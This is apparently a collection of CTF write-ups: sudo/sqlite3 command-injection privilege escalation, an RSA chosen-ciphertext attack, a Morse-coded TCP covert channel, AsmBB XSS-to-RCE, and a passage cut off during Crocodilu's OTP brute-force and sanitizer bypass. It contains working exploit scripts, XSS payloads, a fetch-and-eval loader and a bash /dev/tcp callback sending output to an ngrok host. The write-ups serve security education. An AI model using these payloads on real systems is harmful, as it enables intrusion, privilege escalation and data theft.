-rwx------ 1 jared jared 884736 Nov 29  2015 chinook.db
-rwx------ 1 jared jared    117 Jul  8 18:38 creds.txt
-rwx------ 1 jared jared    668 Jul  8 17:58 query_db.py
```

There is an interesting file in `jared`'s directory.

```
$ cat jared/creds.txt
In case I forget my credentials.

jared:iamrich

Thanks to my awesome sysadmin, no one else can see this file!
```

We found `jared`'s credentials. Now, we can `su` to gain full permissions. Observe that the true UID is now that of `jared`.

```
$ id
uid=1001(guest) gid=1001(guest) euid=1000(jared) groups=1001(guest)

$ su jared
iamrich

$ id
uid=1000(jared) gid=1000(jared) groups=1000(jared),27(sudo)
```

If we check our `sudo` privileges, we find that we can execute `query_db.py` with elevated privileges.

```
$ sudo -l 
Matching Defaults entries for jared on fa9f84013480:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jared may run the following commands on fa9f84013480:
    (ALL) NOPASSWD: /home/jared/query_db.py
```

This Python file queries the `chinook.db` database, and allows a `--row` argument.

```python
#!/usr/bin/python3
import os
import tempfile
import argparse


def query_db(row):
    
    if not row:
        row = 'FirstName'

    sql = f".open /home/jared/chinook.db\nSELECT {row} FROM employees;"
    os.system(f'echo "{sql}" | /usr/bin/sqlite3')

    print("Done!")

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument("--row", help="Row to query")
    args = parser.parse_args()

    query_db(args.row)
```

If we refer to <https://gtfobins.github.io/gtfobins/sqlite3/>, we can find some payloads to help us. Here are two working payloads to get the flag.

### Payload 1

`sqlite3` has the `.shell` command, which allows you to run system commands.

```
.shell CMD ARGS...       Run CMD ARGS... in a system shell
```

We can use this to run `cat /root/flag.txt`.

```
$ sudo ./query_db.py --row "FirstName FROM employees;\n.shell cat /root/flag.txt;\nSELECT FirstName"
Andrew
Nancy
Jane
Margaret
Steve
Michael
Robert
Laura
STC{sud0_4nd_su1d_ea4b1d43ddf99e0c8f3338c8e33d5808}Andrew
Nancy
Jane
Margaret
Steve
Michael
Robert
Laura
Done!
```

### Payload 2

We can alternatively use `.import` to import data from a file into a table.

```
$ sudo ./query_db.py --row "FirstName FROM employees;\n.open\nCREATE TABLE a(line TEXT);\n.import /root/flag.txt a\nSELECT * FROM a;\nSELECT FirstName"
Andrew
Nancy
Jane
Margaret
Steve
Michael
Robert
Laura
STC{sud0_4nd_su1d_ea4b1d43ddf99e0c8f3338c8e33d5808}
Done!
```

Both are equally valid! The flag is `STC{sud0_4nd_su1d_ea4b1d43ddf99e0c8f3338c8e33d5808}`.


# Rocket Ship Academy

RSA Chosen Ciphertext Attack

## Description

Oracle: a person or thing regarded as an infallible authority on something.

Do we have one of those here?

`nc 20.198.209.142 55002`

*The flag is in the flag format: STC{...}*

**Author: zeyu2001**

## Solution

We are given an RSA decryption oracle. We can supply any ciphertext to be decrypted, except the original, given ciphertext.

![](/files/LuXLG7wkkrFOjNVopK1o)

Textbook RSA is vulnerable to Chosen Ciphertext Attack (CCA), where a user is able to supply an arbitrary ciphertext to be decrypted.

Recall that

$$
ed\equiv1\pmod{(p-1)(q-1)}
$$

Therefore, suppose we supply a ciphertext

$$
c'=r^ec\pmod{n}
$$

then decrypting this gives

$$
m'=r^{ed}c^d\pmod{n}\newline m'=rm\pmod{n}
$$

Let $$r=2$$ . The solve script is as follows:

```python
from Crypto.Util.number import long_to_bytes
from pwn import *
from decimal import *
import re

getcontext().prec = 100000000

pattern = "n = (\d+)\ne = (\d+)\nc = (\d+)"

conn = remote('localhost', '12345')
received = conn.recv().decode()

matches = re.search(pattern, received)
n, e, c = int(matches[1]), int(matches[2]), int(matches[3])

print('n =', n)
print('e =', e)
print('c =', c)
print()

ciphertext = Decimal(c) * ((2 ** Decimal(e)) % Decimal(n)) % Decimal(n)
print('Ciphertext:', ciphertext)

conn.send(str(ciphertext) + '\r\n')

received = conn.recv().decode()
matches = re.search("Decrypted: (\d+)\n", received)

decrypted = int(matches[1])
print()

print(long_to_bytes(Decimal(decrypted) / 2))
```

The flag is `STC{ch0s3n_c1ph3rt3xt_d7b593cd54baba9e2ffa49215d33e4c657cf230a}`.

![](/files/YkA8YBITT2NUJ11KEl5r)


# Space Noise

TCP covert channel using Morse Code

## Description

We just intercepted a secret transmission from the Secret Space Agency, but the traffic looks really weird... Wireshark shows so much red! Can you help us to figure out what's going on?

*The flag is in the flag format: STC{...}*

**Author: zeyu2001**

{% file src="/files/-MfNPRXN7StouEEMvHS0" %}
space\_noise.pcap
{% endfile %}

## Solution

We are provided with a PCAP file containing packets sent between 192.168.1.1 and 192.168.1.2.

![](/files/d1OhqiMSHYBTHPat2wIY)

Let's find some patterns!

First, notice that the SYN-PSH pair is sent at regular intervals. Perhaps this is a delimiter of sorts. The SYN packet is sent from 192.168.1.1 to 192.168.1.2, while the PSH packet is sent from 192.168.1.2 to 192.168.1.1.

Next, in between the SYN-PSH pairs, there are RST and URG packets. Since only two different packets are used, binary and morse code comes to mind.

Notice that there are *up to* 5 packets between the SYN-PSH pairs. If this was a 5-bit encoding, it wouldn't make much sense for the number of bits to vary from 1 to 5. In [morse code](http://sckans.edu/~sireland/radio/code.html), however, alphanumeric characters are represented by *up to* 5 dots and slashes.

### The Protocol

This is a covert TCP channel, implemented using morse code. The protocol is as follows:

* RST = .
* URG = -
* SYN = I have finished sending a character.
* PSH = I acknowledge this character. Send the next character.

Decoding the morse code gives the flag in hex.

### Solve

The following script implements the solution.

```python
from Crypto.Util.number import long_to_bytes
from scapy.all import *

packets = rdpcap("space_noise.pcap")

FLAGS = {
    'FIN': 0x01,
    'SYN': 0x02,
    'RST': 0x04,
    'PSH': 0x08,
    'ACK': 0x10,
    'URG': 0x20,
    'ECE': 0x40,
    'CWR': 0x80
}

MORSE_CODE_DICT = { 'A':'.-', 'B':'-...',
                    'C':'-.-.', 'D':'-..', 'E':'.',
                    'F':'..-.', 'G':'--.', 'H':'....',
                    'I':'..', 'J':'.---', 'K':'-.-',
                    'L':'.-..', 'M':'--', 'N':'-.',
                    'O':'---', 'P':'.--.', 'Q':'--.-',
                    'R':'.-.', 'S':'...', 'T':'-',
                    'U':'..-', 'V':'...-', 'W':'.--',
                    'X':'-..-', 'Y':'-.--', 'Z':'--..',
                    '1':'.----', '2':'..---', '3':'...--',
                    '4':'....-', '5':'.....', '6':'-....',
                    '7':'--...', '8':'---..', '9':'----.',
                    '0':'-----', ', ':'--..--', '.':'.-.-.-',
                    '?':'..--..', '/':'-..-.', '-':'-....-',
                    '(':'-.--.', ')':'-.--.-'}

morse_code = ''

for p in packets:
    if p['TCP'].flags == 'R':
        morse_code += '.'
    elif p['TCP'].flags == 'U':
        morse_code += '-'
    elif p['TCP'].flags == 'S':
        morse_code += ' '

message = ''
curr = ''

print(morse_code)

for char in morse_code:

    if char != ' ':
        curr += char

    else:
        for char in MORSE_CODE_DICT:
            if MORSE_CODE_DICT[char] == curr:
                message += char
            
        curr = ''

print(message)
print(long_to_bytes(int(message, 16)).decode())
```

The flag is `STC{I believe that this Nation should commit itself to achieving the goal, before this decade is out, of landing a man on the Moon and returning him safely to Earth.}`

![](/files/1HOXKwo548ZwLeuq9Iug)


# DEF CON CTF 2023 Qualifiers

Won this CTF with Blue Water, the collaboration between Water Paddler and Perfect Blue!

<figure><img src="/files/yUzO85oZPKxazccwqghv" alt=""><figcaption></figcaption></figure>

I made slides on the two web challenges I worked on:

* **Artifact Bunker**, which involves leaking data from a tar archive using partial zip file overwrites.
* **Brinebid**, which involves reversing a JavaScript implementation of Python's Pickle serialization to gain remote code execution.

{% embed url="<https://www.zeyu2001.com/pdf/talks/sgco/DEFCON23.pdf>" %}


# hxp CTF

Won this CTF together with friends from [Blue Water](https://ctftime.org/team/205897) (Perfect Blue + Water Paddler).

<figure><img src="/files/Ddztkl9J4yKvVAouqyCV" alt=""><figcaption></figcaption></figure>

We solved all the Web challenges in this CTF. All of them, except for *valentine*, were clone-to-pwn challenges requiring us to find a 0day in an open-source web application.

| Challenge                                              | Category | Target                                                              |
| ------------------------------------------------------ | -------- | ------------------------------------------------------------------- |
| valentine                                              | Web      | [ejs](https://github.com/mde/ejs)                                   |
| archived                                               | Web      | [Apache Archiva](https://github.com/apache/archiva)                 |
| sqlite\_web                                            | Web      | [sqlite-web](https://github.com/coleifer/sqlite-web)                |
| [true\_web\_assembly](/2023/hxp-ctf/true_web_assembly) | Web      | [AsmBB](https://board.asm32.info/asmbb-v2-9-has-been-released.328/) |


# true\_web\_assembly

From XSS to RCE in AsmBB v2.9.1

## Update (May 2023)

This vulnerability was assigned a CVE!

> [**CVE-2023-30334**](https://nvd.nist.gov/vuln/detail/CVE-2023-30334)\
> AsmBB v2.9.1 was discovered to contain multiple cross-site scripting (XSS) vulnerabilities via the MiniMag.asm and bbcode.asm libraries.

## Description

> <https://board.asm32.info/asmbb-v2-9-has-been-released.328/>
>
> From the post:
>
> * “AsmBB is very secure web application, because of the internal design and the reduced dependencies. But it also supports encrypted databases, for even higher security.”
> * “Download, install and hack”
>
> Yes

## Solution

The challenge is to attack the latest version of [AsmBB](https://asm32.info/fossil/asmbb/index), a web-based message board implemented entirely in x86 assembly. The provided Dockerfile builds the `asmbb` engine using the source files from the `asmbb` and `freshlib` repositories.

```docker
# Get source files for asmbb
RUN wget https://asm32.info/fossil/asmbb/tarball/4c91cddaec/asmbb-4c91cddaec.tar.gz -O asmbb.tar.gz && \
	/bin/bash -c "echo 'b1e621d1ae988b35e836ec9142ccc6ce6cf7c24a090c4d973894770a62fa4ddc asmbb.tar.gz' | sha256sum --check" && \
	tar -xf asmbb.tar.gz || true && \
	mv asmbb-* asmbb

# Get source files for freshlib
# AsmBB uses functions from freshlib
RUN wget https://fresh.flatassembler.net/fossil/repo/fresh/tarball/6636a57441/Fresh+IDE-6636a57441.tar.gz -O fresh.tar.gz && \
	/bin/bash -c "echo '5ba395b0e957536bd66abc572414085aab5f2a527d28214881bbba72ec53e00d fresh.tar.gz' | sha256sum --check" && \
	tar -xf fresh.tar.gz && \
	mv Fresh* Fresh

# Build the asmbb engine
RUN lib=/Fresh/freshlib TargetOS=Linux /fasm/fasm -m 200000 /asmbb/source/engine.asm /engine
```

## Gaining XSS

The forum is the main feature of AsmBB, and the default build uses a custom markdown-like parser called MiniMag. Our goal is to achieve a GET-based XSS on the admin user, and subsequently abuse admin features for RCE.

<figure><img src="/files/itd2YCnHfJujCwXKHi4m" alt=""><figcaption></figcaption></figure>

Let's take a look at the AsmBB [source](https://asm32.info/fossil/asmbb). [`render2.asm`](https://asm32.info/fossil/asmbb/file?name=source/render2.asm\&ci=4c91cddaec90fb74) contains a "hash table" of commands used by the templating engine, mapped to their routines.

```nasm
PHashTable tableRenderCmd, tpl_func,                      \
        'special:',     RenderTemplate.cmd_special,       \
        'raw:',         RenderTemplate.cmd_raw,           \
        'include:',     RenderTemplate.cmd_include,       \
        'minimag:',     RenderTemplate.cmd_minimag,       \   ; HTML, no encoding.
        'bbcode:',      RenderTemplate.cmd_bbcode,        \   ; HTML, no encoding.
        'html:',        RenderTemplate.cmd_html,          \   ; HTML, disables the encoding.
        'attachments:', RenderTemplate.cmd_attachments,   \   ; HTML, no encoding.
        'attach_edit:', RenderTemplate.cmd_attachedit,    \   ; HTML, no encoding.
        'url:',         RenderTemplate.cmd_url,           \   ; Needs encoding!
        'json:',        RenderTemplate.cmd_json,          \   ; No encoding.
        'css:',         RenderTemplate.cmd_css,           \   ; No output, no encoding.
        'equ:',         RenderTemplate.cmd_equ,           \
        'const:',       RenderTemplate.cmd_const,         \
        'enc:',         RenderTemplate.cmd_encode,        \   ; encode the content in html encoding.
        'usr:',         RenderTemplate.cmd_user_encode    \   ; encodes the unicode content of the user nickname for unicode-clones distinction.
```

We can see this in action in [`post_view.tpl`](https://asm32.info/fossil/asmbb/file?name=www/templates/Urban+Sunrise/post_view.tpl\&ci=4c91cddaec90fb74) where the post is rendered. Depending on `format`, the post content is either parsed with `minimag` or `bbcode`, and the final output is rendered as HTML.

```html
<article class="post-text">
  [html:[[case:[format]|minimag:[include:minimag_suffix.tpl]|bbcode:][Content]]]

</article>
```

Although the client-side UI only allows us to write content in the MiniMag format, the POST request to submit the post does include a `format` parameter.

```http
POST /!post HTTP/1.1
Host: localhost:9032
Content-Length: 917
...
Connection: close

...

------WebKitFormBoundarydKCsA6RKHAepAWPn
Content-Disposition: form-data; name="format"

0
------WebKitFormBoundarydKCsA6RKHAepAWPn
Content-Disposition: form-data; name="source"

[http://example.com][My link] 
------WebKitFormBoundarydKCsA6RKHAepAWPn--
```

When set to 1, the `format` parameter allows us to use the [BBCode](https://en.wikipedia.org/wiki/BBCode) parser instead. This uses the `bbcode` command, which calls the `.cmd_bbcode` routine.

```nasm
.cmd_bbcode:
; here esi points to ":" of the "bbcode:" command. edi points to the start "[" and ecx points to the end "]"

locals
  BenchVar .bbcode_time
endl

        BenchmarkStart .bbcode_time

        stdcall TextMoveGap, edx, ecx
        stdcall TextSetGapSize, edx, 4
        mov     dword [edx+ecx], 0
        add     [edx+TText.GapBegin], 4
        inc     [edx+TText.GapEnd]              ; delete the end "]"

        stdcall TextMoveGap, edx, edi
        add     [edx+TText.GapEnd], 8

        stdcall TranslateBBCode, edx, edi, SanitizeURL
        
        ...
```

Since the BBCode parser was a [newer](https://board.asm32.info/the-latest-update-of-this-forum.258/) parser introduced after MiniMag, and isn't enabled by default, we thought this would be the best place to start looking for parser vulnerabilities.

The `TranslateBBCode` routine from [`bbcode.asm`](https://fresh.flatassembler.net/fossil/repo/fresh/artifact/0457fbe206805cbe) (found in [FreshLib](https://fresh.flatassembler.net/fossil/repo/fresh)) is then used to parse the BBCode content. Here we see a table of supported BBCode tags.

```nasm
PHashTable tableBBtags, tpl_func,                      \
        'b',       tagStrong,                          \
        '*',       tagListItem,                        \
        'i',       tagEm,                              \
        'u',       tagUnderlined,                      \
        's',       tagDel,                             \
        'c',       tagInlineCode,                      \
        'url',     tagURL,                             \
        'img',     tagImg,                             \
        'quote',   tagQuote,                           \
        
        ...
```

BBCode is an old markup language that has a rather simple syntax. Tags are enclosed by square brackets, and some tags can have attributes, such as the following URL tag:

```bbcode
[url=https://example.com]My link[/url]
```

The main loop of the parser is found at `.loop`. For each character, the logic goes:

* if the end of the text has been reached, exit the loop
* if it is a newline or space character, skip it
* if it is `[`, process the tag at `.start_tag`
* if it is the start of an emoji, process the emoji

```nasm
.loop:
        mov     ecx, [edx+TText.GapEnd]
        cmp     ebx, [edx+TText.GapBegin]
        cmovb   ecx, [edx+TText.GapBegin]
        sub     ecx, [edx+TText.GapBegin]
        add     ecx, ebx
        cmp     ecx, [edx+TText.Length]
        jae     .end_of_text
        
        movzx   eax, byte [edx+ecx]

        test    al, al
        jz      .end_of_text

        cmp     al, $0d
        je      .new_line

        cmp     al, $0a
        je      .new_line

        cmp     al, $20
        jbe     .next           ; skip all whitespace

        ...

.paragraph_ok:

        cmp     al, "["
        je      .start_tag

; here check for emoticons

        cmp     al, $f0         ; emoji?
        jb      .continue
        
        ...
```

Otherwise, we go to `.continue`, where the character is HTML encoded.

```nasm
.continue:

; html encoding from here

        test    al, al          ; all values > 127 are unicode and should not be encoded.
        js      .next

        movzx   eax, byte [tbl_html+eax]
        test    al, al
        jz      .del_char
        jns     .next           ; the same as above

        lea     esi, [eax+tbl_html]     ; the address of the replacement string.
        lodsb
        movzx   ecx, al         ; length

; insert the replacement html encoding from esi
        stdcall TextMoveGap, edx, ebx
        stdcall TextSetGapSize, edx, ecx
        inc     [edx+TText.GapEnd]      ; delete the previous char.

        mov     edi, [edx+TText.GapBegin]
        add     edi, edx
        add     [edx+TText.GapBegin], ecx
        add     ebx, ecx

        rep movsb
        jmp     .loop
```

Notice that unless the current character is part of an emoji or part of an opening/closing tag, we will reach the HTML-encoding logic. This is done through a simple text substitution that sanitizes angle brackets, quotes, and ampersands.

```nasm
HtmlEntities tbl_html,        \
  $09, $0d,                   \
  $0a, $0a,                   \
  $0d, $0d,                   \
  '<', '&lt;',                \
  '>', '&gt;',                \
  '"', '&quot;',              \
  "'", '&apos;',              \
  '&', '&amp;'
```

Since everything outside the opening/closing tag are HTML-encoded, let's take a closer look at the tag-processing logic. When a tag is matched, a string substitution is performed based on the table below.

```nasm
...

tagImg          onetag <txt '<img class="block"', HTML_IMG_ATTR, 'alt="'>, txt '" src="',  txt '" />',         fBlockTag  or fDisableTags or fURLContent
tagInlineImg    onetag <txt '<img class="inline"', HTML_IMG_ATTR,'alt="'>, txt '" src="',  txt '" />',         fInlineTag or fDisableTags or fURLContent
tagSize         onetag txt '<span style="font-size:',               txt '">',       txt '</span>',      fInlineTag
tagColor        onetag txt '<span style="color:',                   txt '">',       txt '</span>',      fInlineTag
tagEmail        onetag txt '<a href="mailto:',                      txt '">',       txt '</a>',         0

...
```

The 2nd, 3rd, and 4th columns correspond to the start of the tag, end of the attribute, and end of the tag respectively. For instance, the following markup

```bbcode
[email=example@example.com]Click Here[/email]
```

becomes

```
<a href="mailto: + example@example.com + "> + Click Here + </a>
```

The attribute value and the content in between the opening/closing tags are processed separately from the tag itself, and are thus subject to HTML-encoding. If there's any parsing bug to be found, it would probably have to be while parsing the tag.

*What if we just don't close the tag?*

Since the tag isn't being encoded while it is processed, there might be an edge case where the unencoded content is reflected in the absence of a closing `]`.

*Voilà*, the following markup

```bbcode
[email=<img src=x onerror=alert() 
```

translates to

```html
<a href="mailto:&lt;img src=x onerror=alert() "><img src=x onerror=alert() </a>
```

which when rendered on a browser, pops an alert!

<figure><img src="/files/MmaP4Mq0P1Et6wj9v7YP" alt=""><figcaption></figcaption></figure>

## Honourable Mentions

We also found two POST-based XSS vectors, which unfortunately were unusable in this challenge in the absence of an open redirect (since the admin bot is only able to visit the challenge page, and no other page).

The first was a POST request to `!post`. This would have reflected the XSS payload in the page `<title>`.

```markup
<html>
  <body>
    <form action="http://localhost:9032/!post" method="POST">
      <input type="hidden" name="attach" value="" />
      <input type="hidden" name="format" value="0" />
      <input type="hidden" name="invited" value="1" />
      <input type="hidden" name="limited" value="1" />
      <input type="hidden" name="preview" value="p" />
      <input type="hidden" name="source" value="foo" />
      <input type="hidden" name="tabselector" value="0" />
      <input type="hidden" name="tags" value="17" />
      <input type="hidden" name="ticket" value="foo" />
      <input type="hidden" name="title" value="e&lt;&#47;title&gt;&lt;script&gt;alert&#40;origin&#41;&lt;&#47;script&gt;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```

<figure><img src="/files/AcQDUQl5imZzln4d8iAU" alt=""><figcaption></figcaption></figure>

The second is a HTTP response splitting attack. The `!skincookie` endpoint reflects form data in the `Set-Cookie` header, and allows for for CRLF injection. In addition to XSS, this can be used to set arbitrary cookies and response headers.

<figure><img src="/files/Mrq0NccQ7tbygY5MljDw" alt=""><figcaption></figcaption></figure>

## Gaining RCE

Armed with admin privileges, one would see a suspiciously named setting in `/!settings`.

<figure><img src="/files/r2fD5U9t3g3Wxa8jn7tq" alt=""><figcaption></figcaption></figure>

A setting called "Pipe the emails through" sure sounds promising for RCE. Looking for the form key `smtp_exec` shows us that this option is being used in [`commands.asm`](https://asm32.info/fossil/asmbb/file?name=source/commands.asm\&ci=4c91cddaec90fb74) when sending a user activation email.

```nasm
proc SendActivationEmail, .stmt

.stmt2     dd ?
.subj      dd ?
.body      dd ?

.host      dd ?
.from      dd ?
.to        dd ?
.smtp_addr dd ?
.smtp_port dd ?
.exec      dd ?

begin
        
        ...

        xor     eax, eax
        stdcall GetParam, txt "smtp_exec", gpString
        mov     [.exec], eax
        test    eax, eax
        jnz     .addresses_ok

        ...

; send by external program.

        stdcall CreatePipe
        mov     ebx, eax

        stdcall FileWriteString, edx, txt "From: "
        stdcall FileWriteString, edx, [.from]
        stdcall FileWriteString, edx, txt "@"
        stdcall FileWriteString, edx, [.host]
        stdcall FileWriteString, edx, <txt 13, 10>

        stdcall FileWriteString, edx, txt "To: "
        stdcall FileWriteString, edx, [.to]
        stdcall FileWriteString, edx, <txt 13, 10>

        stdcall FileWriteString, edx, txt "Subject: "
        stdcall FileWriteString, edx, [.subj]
        stdcall FileWriteString, edx, <txt 13, 10>

        stdcall FileWriteString, edx, [.body]
        stdcall FileWriteString, edx, <txt 13, 10>

        stdcall FileClose, edx
        stdcall Exec2, [.exec], ebx, [STDOUT], [STDERR]
        stdcall WaitProcessExit, eax, -1

        stdcall FileClose, ebx
        clc
        jmp     .finish
```

Looks like our `smtp_exec` option is being passed to `Exec2`. A quick look at [`process.asm`](https://fresh.flatassembler.net/fossil/repo/fresh/artifact/6e99edc24ea48311) reveals that this spawns a child process with our input. Great!

```nasm
body Exec2
.pArgs dd ?
begin
        pushad

        stdcall StrSplitArg, [.hCommand]
        mov     [.pArgs], eax

        mov     eax, sys_fork
        int     $80

        test    eax, eax
        jnz     .parent         ; this is the parent process

; here is the child.

        DebugMsg "Child process here!"
        
        ...
```

All we have to do now is to change this option to a payload that sends us the flag.

```
/bin/bash -c /readflag>/dev/tcp/0.tcp.ngrok.io/11818
```

## Putting It All Together

Here's the final exploit that we will serve to the admin. Here, I used a first-stage payload to keep the exploit small, but serving the whole exploit in one payload would work as well.

```javascript
fetch("http://HOST:PORT/exploit.js").then(r=>r.text()).then(eval)
```

is converted to base64 and eval-ed:

{% code overflow="wrap" %}

```
[color=<img src=x onerror=eval(atob('ZmV0 ... bCk=')) 
```

{% endcode %}

which then executes the RCE payload:

```javascript
const rce = (smtp_exec, ticket) => {
    fetch(`${window.origin}/!settings`, {
        method: "POST",
        headers: {
            "Content-Type": "application/x-www-form-urlencoded"
        },
        body: `forum_title=&forum_header=%3Ch1+style%3D%22font-weight%3A+800%22%3EAsmBB%3C%2Fh1%3E%0D%0A%3Cb+style%3D%22text-align%3A+center%22%3EPower%3Cbr%3E%0D%0A%3Csvg+version%3D%221.1%22+width%3D%2264%22+height%3D%2216%22+viewBox%3D%220+0+64+16%22+xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%0D%0A+%3Cpath+d%3D%22m0+6+8+10h34l-6-6+28-2-50-8+8+8z%22%2F%3E%0D%0A%3C%2Fsvg%3E%0D%0A%3C%2Fb%3E%0D%0A&description=&keywords=&tabselector=1&host=asdf&smtp_addr=asdf&smtp_port=25`
            + `&smtp_exec=${smtp_exec}&smtp_user=asdf&email_confirm=on&user_perm=1&user_perm=2&user_perm=4&user_perm=8&user_perm=16&user_perm=64&user_perm=256&user_perm=512&user_perm=1024&post_interval=0&post_interval_inc=0&max_post_length=0&anon_perm=1&anon_perm=2&activate_min_interval=0&default_lang=0&page_length=20&default_skin=Urban+Sunrise&default_mobile_skin=Urban+Sunrise&chat_enabled=on&markups=1&password=`
            + `&ticket=${ticket}&save=Save`
    })
}

const smtp_exec = encodeURIComponent("/bin/bash -c /readflag>/dev/tcp/HOST/PORT")

fetch(`${window.origin}/!settings`)
    .then(response => response.text())
    .then(text => {
        const m = text.match(/name="ticket" value="([^"]+)"/);
        console.log(m);
        if (m) {
            const ticket = m[1];
            rce(smtp_exec, ticket)
        }
    });
```

Once the admin visits our exploit page, just register a new user and the flag will be sent to us!

```
$ nc -lv 1337
hxp{iTs_f4s7_iT$_sM4lL_NoB0d1_c4n_br3aK_!t_1f_n0b0dY_c4n_r3ad_i7}
```


# HackTM CTF Qualifiers

[Social Engineering Experts](https://seetf.sg/) participated in this CTF organized by [WreckTheLine](https://wrecktheline.com/) and got 6th place!

<figure><img src="/files/7coYeVcRzGJgPalBtVFt" alt=""><figcaption></figcaption></figure>

It's also the second week in a row (after LACTF) that I managed to fully clear the Web category in a CTF, so I'm pretty happy with the result.

<figure><img src="/files/FHwhOmWkNMmeqsiuwpBs" alt=""><figcaption></figcaption></figure>

| Challenge                                          | Category | Solves |
| -------------------------------------------------- | -------- | ------ |
| [Crocodilu](/2023/hacktm-ctf-qualifiers/crocodilu) | Web      | 16     |
| [secrets](/2023/hacktm-ctf-qualifiers/secrets)     | Web      | 9      |
| [Hades](/2023/hacktm-ctf-qualifiers/hades)         | Web      | 13     |


# Crocodilu

CSP bypass through unsupported www\.youtube.com JSONP endpoint

## Description

> Check out my new video sharing platform!

{% file src="/files/b4JxHR3lXQyBUVXwKekL" %}

## Solution

1. [Gaining access through SQL `LIKE` injection](#gaining-access)
2. [Bypassing HTML sanitization through parser differential between BeautifulSoup and browsers](#bypassing-html-sanitization)
3. [Bypassing strict CSP through unsupported `www.youtube.com` JSONP endpoint](#abusing-youtube-jsonp-endpoint)

### Gaining Access

The first thing we needed to do was to gain access to the application. We can register a new user, but attempting to log in as that user would result in a "User not active" error.

<figure><img src="/files/BcmXrEaNgYlJkFwQLmko" alt=""><figcaption></figcaption></figure>

Taking a look at `auth.py`, we would see that a successful password reset at `/reset_password` would set `user.active` to `True`, allowing us to access the app.

```python
def reset_password():

    ...
    
    if user and not user.admin:
        user.code = None
        user.password = generate_password_hash(password)
        user.active = True
        db.session.commit()
        return redirect(url_for('login'))
```

To do so, we first have to request an OTP at `/request_code`. This sets `user.code` to a random 4-digit number.

```python
def request_code():
    
    ...

    user = User.query.filter(User.email.like(email)).first()

    if user:
        if user.admin:
            return render_template('request_code.html',
                                   error='Admins cannot reset their password')

        user.code = ''.join(random.choices(string.digits, k=4))
        # TODO: send email with code, will fix this next release

        db.session.commit()

        return redirect(url_for('reset_password'))
    else:
        return render_template('request_code.html', error='Invalid email')
```

If no rate limiting is enforced on `/reset_password`, a 4-digit OTP would be trivial to brute-force. However, in this case, rate limiting is enforced on a per-email basis through a Redis store.

```python
email = request.form['email'].strip()
if not is_valid_email(email):
    return render_template('request_code.html', error='Invalid email')

reqs = redis.get(email)
if reqs is not None and int(reqs) > 2:
    return render_template('reset_password.html',
                           error='Too many requests')
else:
    if reqs is None:
        redis.set(email, '1')
    else:
        redis.incr(email)
    redis.expire(email, 3600)
```

When a guess at the OTP is made, the value for the corresponding email address is incremented by 1. After 3 attempts, any further attempts for the same email address are blocked.

Interestingly, the SQL query that checks the OTP code uses the `LIKE` operator.

```python
code = request.form['code'].strip()
if not code.isdigit():
    return render_template('reset_password.html', error='Invalid code')

password = request.form['password']
user = User.query.filter(User.email.like(email)
                         & User.code.like(code)).first()
```

The final query is something like

```sql
SELECT * FROM users WHERE email LIKE "email" AND code LIKE "code"
```

which means that if we can insert the `%` wildcard at the start or end of either `email` or `code`, there's a good chance we can bypass the check in reasonable time.

Unfortunately, `code` is checked using `code.isdigit()`. Let's see if we can get past `is_valid_email(email)` instead.

```python
def is_valid_email(email: str) -> bool:
    email_pattern = re.compile(r"[0-9A-Za-z]+@[0-9A-Za-z]+\.[a-z]+")
    return email_pattern.match(email) is not None
```

The regular expression does not allow for special characters like `%`. However, [re.match](https://docs.python.org/3/library/re.html) only matches at the *beginning* of the string, so this still allows for wildcards at the *end* of the email.

> If zero or more characters at the beginning of *string* match the regular expression *pattern*, return a corresponding match object. Return `None` if the string does not match the pattern; note that this is different from a zero-length match.&#x20;

There are two possibilities here - the first one is to create many accounts sharing the same prefix in their emails, increasing the chance that any code would be valid for `some@email.prefix%`. Because the registration form is reCAPTCHA-protected, this is not possible.

The approach we take instead relies on the ability to add any number of `%` characters at the end of the email. Because `%` matches 0 or more characters, the query will yield the same result no matter how many `%` characters are added.

```python
import grequests
import sys

EMAIL = "socengexp@socengexp.socengexp"
PASSWORD = "socengexp12345!"

for i in range(0, 10000, 100):
    
    print(f"Trying {i}")

    results = grequests.map(grequests.post("http://34.141.16.87:25000/reset_password", data={
        "email": EMAIL + "%" * (i + j),
        "code": str(i + j).zfill(4),
        "password": PASSWORD
    }) for j in range(100))

    for r in results:
        if "Invalid email or code" not in r.text:
            print(r.text)
            sys.exit(0)
```

Using this script, we can brute force the entire OTP space within a few minutes.

### Bypassing HTML Sanitization

Now that we are in, where is the flag? When the container first starts up a post is made containing the flag. The post is admin-only, which means we need to stage a client-side attack against the admin.

```python
with app.app_context():
    db.create_all()
    if not User.query.filter(User.email.like('admin@hacktm.ro')).first():
        user = User(name='admin',
                    email='admin@hacktm.ro',
                    password=generate_password_hash(
                        os.getenv('ADMIN_PASSWORD', 'admin')),
                    active=True,
                    admin=True)
        db.session.add(user)
        post = Post(title='Welcome to Crocodilu', content=os.getenv('FLAG', 'HackTM{example}'), author=user)
        db.session.add(post)
        db.session.commit()
```

Our first hurdle is [BeautifulSoup](https://beautiful-soup-4.readthedocs.io/en/latest/). Our HTML content is parsed and checked for any blacklisted tags. Combined with a restrictive CSP, this greatly restricts what we can do.

```python
@app.route('/create_post', methods=['GET', 'POST'])
@login_required
def create_post():
    blacklist = ['script', 'body', 'embed', 'object', 'base', 'link', 'meta', 'title', 'head', 'style', 'img', 'frame']

    if current_user.admin:
        return redirect(url_for('profile'))
    form = PostForm()
    if form.validate_on_submit():
        content = form.content.data
        soup = BeautifulSoup(content, 'html.parser')
        for tag in blacklist:
            if soup.find(tag):
                content = 'Invalid YouTube embed!'
                break

        for iframe in soup.find_all('iframe'):
            if iframe.has_attr('srcdoc') or not iframe.has_attr('src') or not iframe['src'].startswith('https://www.youtube.com/'):
                content = 'Invalid YouTube embed!'
                break

        post = Post(title=form.title.data,
                    content=content,
                    author=current_user)
        db.session.add(post)
        db.session.commit()
        flash('Your post has been created!', 'success')
        return redirect(url_for('profile'))
    return render_template('create_post.html', title='Create Post', form=form)
```

Luckily for us, the built-in `html.parser` does not treat malformed HTML the same way as a standards-compliant HTML5 parser would. There is a [section](https://beautiful-soup-4.readthedocs.io/en/latest/#differences-between-parsers) dedicated to this in the documentation.

One trick to exploit this parser differential is through HTML comments. Consider the following payload:

```
<!--><script>alert(1)</script>-->
```

BeautifulSoup thinks that the comment spans the entire payload, ending at `-->`.

```python
